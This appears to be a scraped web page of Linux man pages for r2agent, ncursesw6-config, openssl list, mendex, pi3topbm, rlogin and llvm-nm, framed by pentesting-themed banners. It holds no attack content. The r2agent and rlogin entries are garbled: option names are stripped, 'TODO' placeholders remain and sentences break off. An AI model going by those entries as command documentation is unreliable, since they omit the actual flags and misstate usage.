  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1785 - Linux cli command r2agent

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command r2agent and provides detailed information about the command r2agent, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the r2agent.

Spawn a server… TODO

Listen for everyone (localhost by default)

Run in daemon mode

Show help prompt

Run in sandbox mode

Enable HTTP Authentication support

user:password authentication file

Specify listening port for the agent

Show version information

TODO

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1786 - Linux cli command ncursesw6-config

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ncursesw6-config and provides detailed information about the command ncursesw6-config, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ncursesw6-config.

NAME 🖥️ ncursesw6-config 🖥️

config** - configuration helper for ncurses libraries

SYNOPSIS

ncursesw6-config option . . .

ncursesw6-config –version

ncursesw6-config –help

DESCRIPTION

This program development aid simplifies the process of configuring applications against a particular set of ncurses libraries.

OPTIONS

–prefix
reports the package prefix of ncurses.

–exec-prefix
reports the executable prefix of ncurses.

–cflags
reports the C compiler flags needed to compile with ncurses.

–libs
reports the libraries needed to link with ncurses.

–abi-version
reports the ABI version of ncurses.

–mouse-version
reports the mouse-interface version of ncurses.

–bindir
reports the directory containing ncurses programs.

–datadir
reports the directory containing ncurses data.

–includedir
reports the directory containing ncurses header files.

–libdir
reports the directory containing ncurses libraries.

–mandir
reports the directory containing ncurses man pages.

–terminfo
reports the TERMINFO terminfo database path, for example /etc/terminfo.

–terminfo-dirs
reports the TERMINFO_DIRS supplemental search path for the terminfo database, for example /etc/terminfo:/lib/terminfo:/usr/share/terminfo.

–termpath
reports the TERMPATH supplemental search path for the termcap database, if support for termcap is configured.

The following options cause all others to be ignored.

–help
issues a usage message and exits successfully.

–version
issues the release and patch date information of ncurses and exits successfully.

SEE ALSO

ncurses(3NCURSES)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1787 - Linux cli command openssl-listssl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command openssl-listssl and provides detailed information about the command openssl-listssl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the openssl-listssl.

NAME 🖥️ openssl-listssl 🖥️

list - list algorithms and features

SYNOPSIS

openssl list [-help] [-verbose] [-select name] [-1] [-all-algorithms] [-commands] [-standard-commands] [-digest-algorithms] [-digest-commands] [-kdf-algorithms] [-mac-algorithms] [-random-instances] [-random-generators] [-cipher-algorithms] [-cipher-commands] [-encoders] [-decoders] [-key-managers] [-key-exchange-algorithms] [-kem-algorithms] [-signature-algorithms] [-asymcipher-algorithms] [-public-key-algorithms] [-public-key-methods] [-store-loaders] [-providers] [-engines] [-disabled] [-objects] [-options command] [-provider name] [-provider-path path] [-propquery propq]

DESCRIPTION

This command is used to generate list of algorithms or disabled features.

OPTIONS

-help
Display a usage message.

-verbose
Displays extra information. The options below where verbosity applies say a bit more about what that means.

-select name
Only list algorithms that match this name.

-1
List the commands, digest-commands, or cipher-commands in a single column. If used, this option must be given first.

-all-algorithms
Display lists of all algorithms. These include:

Asymmetric ciphers

Decoders

Digests

Encoders

Key derivation algorithms (KDF)

Key encapsulation methods (KEM)

Key exchange algorithms (KEX)

Key managers

Message authentication code algorithms (MAC)

Random number generators (RNG, DRBG)

Signature algorithms

Store loaders

Symmetric ciphers

-commands

Display a list of standard commands.

-standard-commands
List of standard commands.

-digest-commands
This option is deprecated. Use digest-algorithms instead. Display a list of message digest commands, which are typically used as input to the openssl-dgst (1) or openssl-speed (1) commands.

-cipher-commands
This option is deprecated. Use cipher-algorithms instead. Display a list of cipher commands, which are typically used as input to the openssl-enc (1) or openssl-speed (1) commands.

-cipher-algorithms, -digest-algorithms, -kdf-algorithms, -mac-algorithms,
Display a list of symmetric cipher, digest, kdf and mac algorithms. See “Display of algorithm names” for a description of how names are displayed. In verbose mode, the algorithms provided by a provider will get additional information on what parameters each implementation supports.

-random-instances
List the primary, public and private random number generator details.

-random-generators
Display a list of random number generators. See “Display of algorithm names” for a description of how names are displayed.

-encoders
Display a list of encoders. See “Display of algorithm names” for a description of how names are displayed. In verbose mode, the algorithms provided by a provider will get additional information on what parameters each implementation supports.

-decoders
Display a list of decoders. See “Display of algorithm names” for a description of how names are displayed. In verbose mode, the algorithms provided by a provider will get additional information on what parameters each implementation supports.

-public-key-algorithms
Display a list of public key algorithms, with each algorithm as a block of multiple lines, all but the first are indented. The options key-exchange-algorithms, kem-algorithms, signature-algorithms, and asymcipher-algorithms will display similar info.

-public-key-methods
Display a list of public key methods.

-key-managers
Display a list of key managers.

-key-exchange-algorithms
Display a list of key exchange algorithms.

-kem-algorithms
Display a list of key encapsulation algorithms.

-signature-algorithms
Display a list of signature algorithms.

-asymcipher-algorithms
Display a list of asymmetric cipher algorithms.

-store-loaders
Display a list of store loaders.

-providers
Display a list of all loaded providers with their names, version and status. In verbose mode, the full version and all provider parameters will additionally be displayed.

-engines
This option is deprecated. Display a list of loaded engines.

-disabled
Display a list of disabled features, those that were compiled out of the installation.

-objects
Display a list of built in objects, i.e. OIDs with names. They’re listed in the format described in “ASN1 Object Configuration Module” in config (5).

-options command
Output a two-column list of the options accepted by the specified command. The first is the option name, and the second is a one-character indication of what type of parameter it takes, if any. This is an internal option, used for checking that the documentation is complete.

-provider name

-provider-path path

-propquery propq

See “Provider Options” in openssl (1), provider (7), and property (7).

Display of algorithm names

Algorithm names may be displayed in one of two manners:

Legacy implementations
Legacy implementations will simply display the main name of the algorithm on a line of its own, or in the form <foo bar>> to show that foo is an alias for the main name, bar

Provided implementations
Implementations from a provider are displayed like this if the implementation is labeled with a single name: foo @ bar or like this if it’s labeled with multiple names: { foo1, foo2 } @bar In both cases, bar is the name of the provider.

HISTORY

The -engines, -digest-commands, and -cipher-commands options were deprecated in OpenSSL 3.0.

COPYRIGHT

Copyright 2016-2021 The OpenSSL Project Authors. All Rights Reserved.

Licensed under the Apache License 2.0 (the “License”). You may not use this file except in compliance with the License. You can obtain a copy in the file LICENSE in the source distribution or at <https://www.openssl.org/source/license.html>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1788 - Linux cli command mendex

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mendex and provides detailed information about the command mendex, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mendex.

NAME 🖥️ mendex 🖥️

Japanese index processor

SYNOPSIS

mendex [-ilqrcgfEJSU] [-s sty] [-d dic] [-o ind] [-t log] [-p no] [-I enc] [–help] [] [ idx0 idx1 idx2 …]

DESCRIPTION

The program mendex is a general purpose hierarchical index generator; it accepts one or more input files (.idx; often produced by a text formatter such as LaTeX), sorts the entries, and produces an output file which can be formatted. It is almost compatible with makeindex, and additional feature for handling readings of kanji words is also available.

The formats of the input and output files are specified in a style file. The readings of kanji words can be specified in a dictionary file.

The index can have up to three levels (0, 1, and 2) of subitem nesting.

OPTIONS

-i
Take input from stdin, even when index files are specified.

-l
Set ‘sort by character order’. By default, ‘sort by word order’ is used. Details are described below.

-q
Quiet mode; send no message to stderr, except error messages and warnings.

-r
Disable implicit page range formation. By default, three or more successive pages are automatically abbreviated as a range (e.g. 1–5).

-c
Compress sequence of intermediate blanks (space(s) and/or tab(s)) into a space and ignore leading and trailing blank(s). By default, blanks in the index key are retained.

-g
Make Japanese index head A-line (A, Ka, Sa, …; 10 characters) of the gojuon table (Japanese syllabary). By default, all 48 characters in the gojuon table are used.

-f
Force to output Kanji characters even non-existent in dictionaries.

-s sty
Employ sty as the style file.

-d dic
Employ dic as the dictionary file. The dictionary file is composed of lists of <index_word reading>.

-o ind
Employ ind as the output index file. By default, the file name is created by appending the extension ind to the base name of the first input file.

-t log
Employ log as the transcript file. By default, the file name is created by appending the extension ilg to the base name of the first input file.

-p no
Set the starting page number of the output index list to be no. The argument no may be numerical or one of the following: any (the next page to the end of contents), odd (the next odd page to the end of contents), even (the next even page to the end of contents).

-E
Set input/output character encoding to EUC-JP.

-J
Set input/output character encoding to JIS (ISO-2022-JP).

-S
Set input/output character encoding to Shift_JIS.

-U
Set input/output character encoding to UTF-8.

-I enc
Set internal character encoding to enc. The argument enc may be euc (EUC-JP) or utf8 (UTF-8). The default is set to utf8.

–help
Show summary of options.


Arguments after are not taken as options. This is useful when the input file name starts with ‘-’.

STYLE FILE

The style file informs mendex about the format of the idx input files and the intended format of the final output file. The format is upper compatible with the one for makeindex. The style file contains a list of <specifier attribute> pairs. There are two types of specifiers: input and output. Pairs do not have to appear in any particular order. A line begun by ‘%’ is a comment.

Input file style parameter

keyword <string>
“\indexentry”

Command with an argument of index entry which is going to be processed.

arg_open <char>
‘{’

Opening delimiter which shows the beginning of index entry.

arg_close <char>
‘}’

Closing delimiter which shows the end of index entry.

range_open <char>
‘(’

Opening delimiter which shows the beginning of page range.

range_close <char>
‘)’

Closing delimiter which shows the end of page range.

level <char>
‘!’

Delimiter which shows lower level.

actual <char>
‘@’

Symbol which shows the next sequence is to appear as index strings in the output file.

encap <char>
‘|’

Symbol which shows the next sequence is to be used as command name attached to the page number.

page_compositor <string>
“-”

Separator between page levels for a style with multi-levels of page numbers.

page_precedence <string>
“rnaRA”

Priority of expression for page number. ‘R’ and ‘r’ correspond to Roman. ’n’ corresponds to arabic numeral. ‘A’ and ‘a’ correspond to Latin alphabet.

quote <char>
‘"’

Escape character for mendex parameters.

escape <char>
‘'

Escape character for general scripts.

Output file style parameter

preamble <string>
“\begin{theindex} "

Preamble of output file.

postamble <string>
"

\end{theindex} "

Postamble of output file.

setpage_prefix <string>
" \setcounter{page}{”

Prefix of page number if start page is designated.

setpage_suffix <string>
“} "

Suffix of page number if start page is designated.

group_skip <string>
"

\indexspace "

Strings to insert vertical space before new section of index.

lethead_prefix <string>
"”

Prefix of heading for newly appeared heading letter.

heading_prefix <string>
""

Same as lethead_prefix. (compatible with makeindex)

lethead_suffix <string>
""

Suffix of heading for newly appeared heading letter.

heading_suffix <string>
""

Same as lethead_suffix. (compatible with makeindex)

lethead_flag <number>
0

Flag to control output of heading letters. ‘0’, ‘1’ and ‘-1’ respectively denotes no output, uppercase and lowercase.

heading_flag <number>
0

Same as lethead_flag. (Note: makeindex uses a different name headings_flag)

item_0 <string>
" \item "

Command sequence inserted between primary level entries.

item_1 <string>
" \subitem "

Command sequence inserted between sub level entries.

item_2 <string>
" \subsubitem "

Command sequence inserted between subsub level entries.

item_01 <string>
" \subitem "

Command sequence inserted between primaly and sub level entries.

item_x1 <string>
" \subitem "

Command sequence inserted between primary and sub level entries when main entry does not have page number.

item_12 <string>
" \subsubitem "

Command sequence inserted between sub and subsub level entries.

item_x2 <string>
" \subsubitem "

Command sequence inserted between sub and subsub level entries when sub level entry does not have page number.

delim_0 <string>
“, "

Delimiter string between primary level entry and first page number.

delim_1 <string>
“, "

Delimiter string between sub level entry and first page number.

delim_2 <string>
“, "

Delimiter string between subsub level entry and first page number.

delim_n <string>
“, "

Delimiter string between page numbers commonly used for any entry level.

delim_r <string>
“–”

Delimiter string between pages to show page range.

delim_t <string>
"”

Delimiter string output at the end of page number list.

suffix_2p <string>
"”

String to be inserted in place of delim_n and the next page number when the two pages are contiguous.

It works only when the parameter is defined.

suffix_3p <string>
"”

String to be inserted in place of delim_r and the third page number when the three pages are contiguous. The parameter is prior to suffix_mp.

It works only when the parameter is defined.

suffix_mp <string>
"”

String to be inserted in place of delim_r and the last page number when the three or more pages are contiguous.

It works only when the parameter is defined.

encap_prefix <string>
“"

Prefix for an encapsulating command when the encapsulating command is added to the page number.

encap_infix <string>
“{”

Prefix just before the page number when the encapsulating command is added to the page number.

encap_suffix <string>
“}”.

Suffix after the page number when the encapsulating command is added to the page number.

line_max <number>
72

Maximum number of one line. If exceed the number, lines are folded.

indent_space <string>
" "

Space for indent which inserted to top of folded line.

indent_length <number>
16

Length of space for indent which inserted to top of folded line.

symhead_positive <string>
“Symbols”

Strings to output as heading letter for numbers and symbols when lethead_flag or heading_flag is positive number.

symhead_negative <string>
“symbols”

Strings to output as heading letter for numbers and symbols when lethead_flag or heading_flag is negative number.

symbol <string>
"”

Strings to output as heading letter for numbers and symbols when symbol_flag is non zero.

If specified, the option is prior to symhead_positive and symhead_negative. (Extended by mendex)

symbol_flag <number>
1

Flag to output of symbol. If ‘0’, do not output. (Extended by mendex)

letter_head <number>
1

Flag of heading letter for Japanese Kana. If ‘1’ and ‘2’, Katakana and Hiragana is used, respectively. (Extended by mendex)

priority <number>
0

Flag of sorting method for index words composed of Japanese and non-Japanese (ex. Latin scripts). If non zero, one space (U+20) is inserted between Japanese sequence and non-Japanese sequence in sorting procedure. (Extended by mendex)

character_order <string>
“SNEJ”

Order of scripts and symbols. ‘S’, ‘N’, ‘E’ and ‘J’ respectively denotes symbol, numbers, English and Japanese. (Extended by mendex) Please make sure that ‘S’ and ‘N’ are next to each other, since mendex considers numbers as part of symbol.

ABOUT JAPANESE PROCESSING

mendex has an additional feature to simplify the procedure of handling Japanese indexes, compared to makeindex. Users can save the effort of manually specifying a reading for every kanji word.

Japanese kanji words are usually sorted by the syllables of their readings (‘Yomi’), which can be represented by kana (Hiragana, Katakana) scripts. mendex accepts index words specified in kana expression directly on an input file, and also accepts conversion from index words to kana scripts by referring to Japanese dictionaries.

Examples of internal simplification of syllables are shown below.

かぶしきがいしゃ かふしきかいしや
マッキントッシュ まつきんとつしゆ
ワープロ わあふろ

The dictionary file consists of list with <‘index_word’ ‘reading’>. The index word can be written in any scripts (kanji, kana, etc), and the reading must be in Hiragana or Katakana scripts. The delimiter between the index word and its reading is one or more tab(s) or space(s).

An example of a Japanese dictionary is shown below.

漢字 かんじ
読み よみ
環境 かんきょう
α アルファ

Here, each index word is allowed to have only one Yomi. Though some kanji words (ex. 「表」) may have more than one Yomi’s (ex. 「ひょう」 and 「おもて」), only one of them can be registered in the dictionary. When some different Yomi’s are needed, they should be specified explicitly in kana expression (ex. \index{ひょう@表} or \index{おもて@表}) on the input file.

Moreover, a dictionary file is automatically referred by setting the file name at an environment variable INDEXDEFAULTDICTIONARY. The dictionary set by the environment variable can be used together with file(s) specified by -d option.

ABOUT SORTING PROCEDURE

mendex sorts indexes as is (‘sort by word order’) by default. Setting -l option, spaces between words in an index are truncated prior to sorting procedure (‘sort by character order’).

Even when sort by character order, the index at output remains the original sequence without the truncation.

Follows show an example.

sort by word order sort by character order
X Window Xlib
Xlib XView
XView X Window

In addition, two sorting methods can be applied for indexes which contains both Japanese kana and other scripts (e.g. Latin script). By setting priority 0 (default) and 1 at a style file, a space between Japanese Kana and other scripts is inserted and not inserted respectively, prior to the sorting procedure.

Follows show an example.

priority=0 priority=1
index sort indファイル
indファイル index sort

ENVIRONMENT VARIABLES

mendex refers environment variables as follows.

INDEXSTYLE
Directory where index style files exist.

INDEXDEFAULTSTYLE
Index style file to be referred to as default.

INDEXDICTIONARY
Directory where dictionary files exist.

INDEXDEFAULTDICTIONARY
Dictionary file which is automatically read.

DETAIL

Detailed specification is compatible with makeindex.

KNOWN ISSUES

When plural page number expression is used, .idx files should be specified along with the order of page numbers. Otherwise, wrong page numbers might be output.

SEE ALSO

tex(1), latex(1), makeindex(1)

AUTHOR

This manual page was written by Japanese TeX Development Community.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1789 - Linux cli command pi3topbm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pi3topbm and provides detailed information about the command pi3topbm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pi3topbm.

.

NAME 🖥️ pi3topbm 🖥️

convert an Atari Degas .pi3 file into a PBM image

SYNOPSIS

pi3topbm

[pi3file]

DESCRIPTION

This program is part of Netpbm(1) .

pi3topbm reads an Atari Degas .pi3 file as input and produces a PBM image as output.

OPTIONS

There are no command line options defined specifically for pi3topbm, but it recognizes the options common to all programs based on libnetpbm (See Common Options .)

SEE ALSO

pbmtopi3(1) , pbm(1) , pi1toppm(1) , ppmtopi1(1)

AUTHOR

Copyright (C) 1988 by David Beckemeyer (bdt!david) and Diomidis D. Spinellis.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pi3topbm.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1790 - Linux cli command rlogin

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command rlogin and provides detailed information about the command rlogin, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the rlogin.

makes a connection to the remote login daemon running on

After the connection is made the user can log in. All input is transmitted to the remote machine and all output on the remote machine is sent back to the

client on the local machine, the user has a full controlling terminal on the remote host.

Use only IPv4 to connect to the remote host.

Use only IPv6 to connect to the remote host.

Be verbose.

Connect to the remote machine as a different user than on the local machine.

Connect to a different port than the default one for

RFC 1282.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1791 - Linux cli command llvm-nm-16

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command llvm-nm-16 and provides detailed information about the command llvm-nm-16, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the llvm-nm-16.

NAME 🖥️ llvm-nm-16 🖥️

nm - list LLVM bitcode and object file’s symbol table

SYNOPSIS

llvm-nm [options] [filenames…]

DESCRIPTION

The llvm-nm utility lists the names of symbols from LLVM bitcode files, object files, and archives. Each symbol is listed along with some simple information about its provenance. If no filename is specified, a.out is used as the input. If - is used as a filename, llvm-nm will read a file from its standard input stream.

llvm-nm’s default output format is the traditional BSD nm output format. Each such output record consists of an (optional) 8-digit hexadecimal address, followed by a type code character, followed by a name, for each symbol. One record is printed per line; fields are separated by spaces. When the address is omitted, it is replaced by 8 spaces.

The supported type code characters are as follows. Where both lower and upper-case characters are listed for the same meaning, a lower-case character represents a local symbol, whilst an upper-case character represents a global (external) symbol:

a, A

Absolute symbol.

b, B

Uninitialized data (bss) object.

C

Common symbol. Multiple definitions link together into one definition.

d, D

Writable data object.

i, I

COFF: .idata symbol or symbol in a section with IMAGE_SCN_LNK_INFO set.

n

ELF: local symbol from non-alloc section.

COFF: debug symbol.

N

ELF: debug section symbol, or global symbol from non-alloc section.

s, S

COFF: section symbol.

Mach-O: absolute symbol or symbol from a section other than __TEXT_EXEC __text, __TEXT __text, __DATA __data, or __DATA __bss.

r, R

Read-only data object.

t, T

Code (text) object.

u

ELF: GNU unique symbol.

U

Named object is undefined in this file.

v

ELF: Undefined weak object. It is not a link failure if the object is not defined.

V

ELF: Defined weak object symbol. This definition will only be used if no regular definitions exist in a link. If multiple weak definitions and no regular definitions exist, one of the weak definitions will be used.

w

Undefined weak symbol other than an ELF object symbol. It is not a link failure if the symbol is not defined.

W

Defined weak symbol other than an ELF object symbol. This definition will only be used if no regular definitions exist in a link. If multiple weak definitions and no regular definitions exist, one of the weak definitions will be used.

-

Mach-O: N_STAB symbol.

?

Something unrecognizable.

Because LLVM bitcode files typically contain objects that are not considered to have addresses until they are linked into an executable image or dynamically compiled “just-in-time”, llvm-nm does not print an address for any symbol in an LLVM bitcode file, even symbols which are defined in the bitcode file.

OPTIONS

-B
Use BSD output format. Alias for –format=bsd.

-X
Specify the type of XCOFF object file, ELF object file, or IR object file input from command line or from archive files that llvm-nm should examine. The mode must be one of the following:

32
Process only 32-bit object files.

64
Process only 64-bit object files.

32_64
Process both 32-bit and 64-bit object files.

any
Process all the supported object files.

On AIX OS, the default is to process 32-bit object files only and to ignore 64-bit objects. The can be changed by setting the OBJECT_MODE environment variable. For example, OBJECT_MODE=64 causes llvm-nm to process 64-bit objects and ignore 32-bit objects. The -X flag overrides the OBJECT_MODE variable.

On other operating systems, the default is to process all object files: the OBJECT_MODE environment variable is not supported.

–debug-syms, -a
Show all symbols, even those usually suppressed.

–defined-only, -U
Print only symbols defined in this file.

–demangle, -C
Demangle symbol names.

–dynamic, -D
Display dynamic symbols instead of normal symbols.

–export-symbols
Print sorted symbols with their visibility (if applicable), with duplicates removed.

–extern-only, -g
Print only symbols whose definitions are external; that is, accessible from other files.

–format=<format>, -f
Select an output format; format may be sysv, posix, darwin, bsd or just-symbols. The default is bsd.

–help, -h
Print a summary of command-line options and their meanings.

-j
Print just the symbol names. Alias for –format=just-symbols`.

-m
Use Darwin format. Alias for –format=darwin.

–no-demangle
Don’t demangle symbol names. This is the default.

–no-llvm-bc
Disable the LLVM bitcode reader.

–no-sort, -p
Show symbols in the order encountered.

–no-weak, -W
Don’t print weak symbols.

–numeric-sort, -n, -v
Sort symbols by address.

–portability, -P
Use POSIX.2 output format. Alias for –format=posix.

–print-armap
Print the archive symbol table, in addition to the symbols.

–print-file-name, -A, -o
Precede each symbol with the file it came from.

–print-size, -S
Show symbol size as well as address (not applicable for Mach-O).

–quiet
Suppress ‘no symbols’ diagnostic.

–radix=<RADIX>, -t
Specify the radix of the symbol address(es). Values accepted are d (decimal), x (hexadecimal) and o (octal).

–reverse-sort, -r
Sort symbols in reverse order.

–size-sort
Sort symbols by size.

–special-syms
Do not filter special symbols from the output.

–undefined-only, -u
Print only undefined symbols.

–version, -V
Display the version of the llvm-nm executable, then exit. Does not stack with other commands.

@<FILE>
Read command-line options from response file <FILE>.

MACH-O SPECIFIC OPTIONS

–add-dyldinfo
Add symbols from the dyldinfo, if they are not already in the symbol table. This is the default.

–add-inlinedinfo
Add symbols from the inlined libraries, TBD file inputs only.

–arch=<arch1[,arch2,…]>
Dump the symbols from the specified architecture(s).

–dyldinfo-only
Dump only symbols from the dyldinfo.

–no-dyldinfo
Do not add any symbols from the dyldinfo.

-s <segment> <section>
Dump only symbols from this segment and section name.

-x
Print symbol entry in hex.

XCOFF SPECIFIC OPTIONS

–no-rsrc
Exclude resource file symbols (__rsrc) from export symbol list.

BUGS

  • llvm-nm does not support the full set of arguments that GNU nm does.

EXIT STATUS

llvm-nm exits with an exit code of zero.

SEE ALSO

llvm-ar(1), llvm-objdump(1), llvm-readelf(1), llvm-readobj(1)

AUTHOR

Maintained by the LLVM Team (https://llvm.org/).

COPYRIGHT

2003-2024, LLVM Project

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
